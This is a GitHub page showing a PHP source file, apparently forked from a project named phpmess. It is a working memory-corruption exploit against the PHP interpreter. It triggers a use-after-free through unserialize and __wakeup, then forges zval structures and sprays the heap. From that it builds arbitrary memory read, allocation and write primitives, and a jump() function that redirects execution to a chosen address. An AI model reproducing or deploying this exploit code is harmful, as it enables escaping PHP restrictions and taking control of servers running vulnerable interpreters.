forked from kpwn/phpmess
/
pm.php
executable file
·152 lines (133 loc) · 2.68 KB
/
pm.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
<?php
function nogc($x) {
global $ngc;
if(!isset($ngc)) $ngc=[];
array_push($ngc,$x);
return $x;
}
function gc($x) {
// global $ngc;
// if(!isset($ngc)) $ngc=[];
// for($i=0;$i>count($ngc);$i++) {
// if($ngc[$i] === $x) $ngc[$i]=0;
// }
}
class x {
public $y;
function __wakeup() {
unset($this->y);
}
}
function uaf($i) {
$a=new x;
$n=[];
$a->y=[1];
$a=[$a, $i, &$a->y[0]];
$r=unserialize(serialize($a));
return [&$r[count($r)-1],&$r[count($r)-2]];
}
function ibuf($ptr, $sz)
{
$out = "";
for ($i=0; $i<$sz; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function zval($a, $b, $c, $r=1) {
$r = ibuf($a,8) . ibuf($b,8) . ibuf($r,4) . ibuf($c, 1) . ibuf(0,3);
return $r;
}
function ptr() {
$ret=uaf(1);
$n=[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1];
return $ret[0];
}
function map($addr,$sz) {
$z = zval($addr, $sz, 6 /* string */, 16);
$x=uaf($z);
nogc($x);
return [&$x[0]];
}
$n=[];
for($a=0;$a<0x300;$a++) $n[]=str_repeat("AXBX",0x10000/4);
function mapheap() {
global $c;global $pt;global $n;
$z=ptr()+0;
$k=map($z, 0x10000);
$ptx=strpos($k[0], "AXBX");
$k[0][$ptx]='O';
for($zz=0;$zz<0x400;$zz++) {
if($n[$zz][0]=="O")
nogc([&$n[$zz]]);
}
$pt=$ptx+$z;
$c=0;
}
function alloc($sz) {
global $c;global $pt;
if(!isset($pt)) {
mapheap();
}
$c += 0x10 - (($pt+$c) & 0xF);
if($c+$sz > 0x8000) return 0;
$ret=[];
$ret['ptr'] = $pt+$c;
$ret['val'] = &map($pt+$c, $sz)[0];
memcpy($ret, str_repeat(".", $sz), $sz);
$c+=$sz;
return $ret;
}
function shiftalloc($alloc, $ptr) {
$ret=[];
$ret['ptr']=$alloc['ptr']+$ptr;
$ret['val']=&map($ret['ptr'], strlen($alloc['val'])-$ptr)[0];
return $ret;
}
function memcpy($out, $in) {
if(!$out || $out['ptr'] == 0x0) die("memcpy null");
$sz=strlen($in);
for($i=0;$i<$sz;$i++) {
$out['val'][$i] = $in[$i];
}
}
function jump($addr,$rax) {
$raxlen = strlen($rax);
$al = shiftalloc(alloc(1024+$raxlen+16),1024);
memcpy($al, $rax, $raxlen);
memcpy($al, ibuf(0,8).ibuf($addr,8), 16);
$zv = zval(0, $al['ptr'], 5, 0);
uaf($zv);
}
// mem i/o - you cannot map something too many times or risk getting shit corrupted.
function readpage($addr)
{
$page = ($addr & (~0xFFFFFF));
global $maps;
if(!isset($maps)) {
$maps=[];
}
if(!isset($maps[$page])) {
$pg=map($page,0xFFFFFF+1);
$maps[$page]=&$pg[0];
}
$pg=&$maps[$page];
return [&$pg];
}
function read($addr,$sz) {
$ret = "";
$page = ($addr & (~0xFFFFFF));
while ($sz>0) {
$rsz = min($sz,0xFFFFFF+1);
$pg=readpage($addr);
for($i=0;$i<$rsz;$i++){
$ret.=$pg[0][($addr & 0xFFFFFF)+$i];
}
$addr += $rsz;
$sz -= 0x1000;
}
nogc($ret);
return $ret;
}
?>